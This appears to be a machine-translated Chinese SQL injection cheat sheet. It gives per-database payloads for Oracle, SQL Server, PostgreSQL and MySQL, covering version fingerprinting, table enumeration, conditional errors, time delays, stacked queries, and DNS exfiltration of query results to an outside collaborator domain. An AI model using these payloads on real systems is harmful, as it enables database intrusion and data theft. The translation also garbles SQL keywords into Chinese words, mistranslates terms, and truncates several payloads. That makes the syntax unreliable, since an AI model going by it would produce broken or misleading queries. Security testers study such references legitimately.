SQL注入备忘单
这个SQL注入备忘单包含有用的语法示例,您可以用这些语法执行各种任务,这些任务通常在执行SQL注入攻击时会出现。
字符串串联
您可以将多个字符串连接在一起以制作一个字符串。
Oracle | 'foo'||'bar' |
---|---|
微软 | 'foo'+'bar' |
Postgresql | 'foo'||'bar' |
mysql | 'foo''bar' [注意两个字符串之间的空间]concat('foo','bar') |
基因
您可以从指定长度的指定偏移量中提取一部分字符串。请注意,偏移索引为1个。以下每个表达式将返回字符串ba
。
Oracle | substr('Foobar',4,2) |
---|---|
微软 | substring('Foobar',4,2) |
Postgresql | substring('Foobar',4,2) |
mysql | substring('Foobar',4,2) |
注释
您可以使用注释来截断查询并删除输入后的原始查询部分。
Oracle | - 评论 |
---|---|
微软 | - 评论 |
Postgresql | - 评论 |
mysql | #评论 - 评论 [注意双重破折号后的空间]/*评论*/ |
数据库版本
您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。
Oracle | 从v $版本中选择横幅 |
---|---|
微软 | 选择@@版本 |
Postgresql | 选择版本() |
mysql | 选择@@版本 |
数据库内容
您可以列出数据库中存在的表,以及这些表所包含的列。
Oracle | 从all_tables中选择 * |
---|---|
微软 | 选择 *来自信息_schema.tables |
Postgresql | 选择 *来自信息_schema.tables |
mysql | 选择 *来自信息_schema.tables |
条件错误
您可以测试单个布尔条件并触发数据库错误,如果条件为真。
Oracle | 选择何时(您的条件部门),然后to_char(1/0)else null dual dual结束 |
---|---|
微软 | 选择何时(您的条件部门)然后1/0 else Null End |
Postgresql | 选择何时(您的条件部门),然后施放(1/0作为文本)else null end |
mysql | 选择if(您的条件 - here,(从信息_schema.tables中选择table_name),'a') |
批处理(或堆叠)查询
您可以使用批处理查询连续执行多个查询。请注意,尽管执行了后续查询,但结果未返回应用程序。因此,该技术主要用于盲目漏洞,您可以使用第二个查询来触发DNS查找,条件错误或时间延迟。
Oracle | 不支持批处理查询。 |
---|---|
微软 | 查询-1-Here;查询-2-HRE |
Postgresql | 查询-1-Here;查询-2-HRE |
mysql | 查询-1-Here;查询-2-HRE |
笔记
使用MySQL,批次查询通常不能用于SQL注入。但是,如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信,则有时可能有可能。
时间延迟
处理查询时,您可能会导致数据库中的时间延迟。以下将导致无条件的时间延迟10秒。
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
微软 | 等待延迟'0:0:10' |
Postgresql | 选择pg_sleep(10) |
mysql | 选择睡眠(10) |
有条件的时间延迟
您可以测试单个布尔条件,并在条件为真时触发时间延迟。
Oracle | 选择当(您的条件部门)然后'a'a'|| dbms_pipe.receive_message(('a'),10)else null dual的' |
---|---|
微软 | if(您的条件)等待延迟'0:0:10' |
Postgresql | 选择何时(您的条件)然后pg_sleep(10)else pg_sleep(0)结束 |
mysql | 选择是否(您的条件,请睡眠(10),'a') |
DNS查找
您可以使数据库对外部域执行DNS查找。为此,您需要使用Burp合作者客户端为了生成您将在攻击中使用的独特的Burp合作者子域,然后对合作者服务器进行轮询以确认发生DNS查找。
Oracle | 以下技术利用XML外部实体(xxe)触发DNS查找的脆弱性。漏洞已经修补,但存在许多未拨动的Oracle安装:选择ExtractValue(XMLType('<?xml版本=“ 1.0” encoding =“ utf-8”?> <!doctype root [<!entity%远程系统“ http://your-subdomain-here.burpcollaborator.net/net/”>%远程;]>'),'/l') 以下技术适用于完全修补的Oracle安装,但需要提高特权: 选择utl_inaddr.get_host_address('your-subdomain-here.burpcollaborator.net') |
---|---|
微软 | exec master..xp_dirtree'// your-subdomain-here.burpcollaborator.net/a' |
Postgresql | 复制(选择'')以编程'nslookup your-subdomain-here.burpcollaborator.net' |
mysql | 以下技术仅在Windows上工作:load_file('\\\\ your-subdomain-here.burpcollaborator.net \\ a') 选择...进入offile'\\\\ your-subdomain-here.burpcollaborator.net \ a'' |
DNS查找带有数据剥落的查找
您可以使数据库执行DNS查找到包含注射查询结果的外部域。为此,您需要使用Burp合作者客户端要生成您将在攻击中使用的独特的BURP协作子域,然后对合作服务器进行轮询以检索任何DNS交互的详细信息,包括删除数据。
Oracle | 选择ExtractValue(XmlType('<?xml版本=“ 1.0” encoding =“ utf-8”?> <!doctype root [<!entity%远程系统“ http://'||(选择your-query-query-here)||'。 |
---|---|
微软 | 声明@p varchar(1024); set @p =(选择your-query-here); exec('master..xp_dirtree” //'+@p+'.your-subdomain-here.burpcollaborator.net/a'''') |
Postgresql | 创建或替换函数f()返回void作为$$ |
mysql | 以下技术仅在Windows上起作用:选择您的Query-Here在Outfile'\\\\ your-subdomain-here.burpcollaborator.net \ a''' |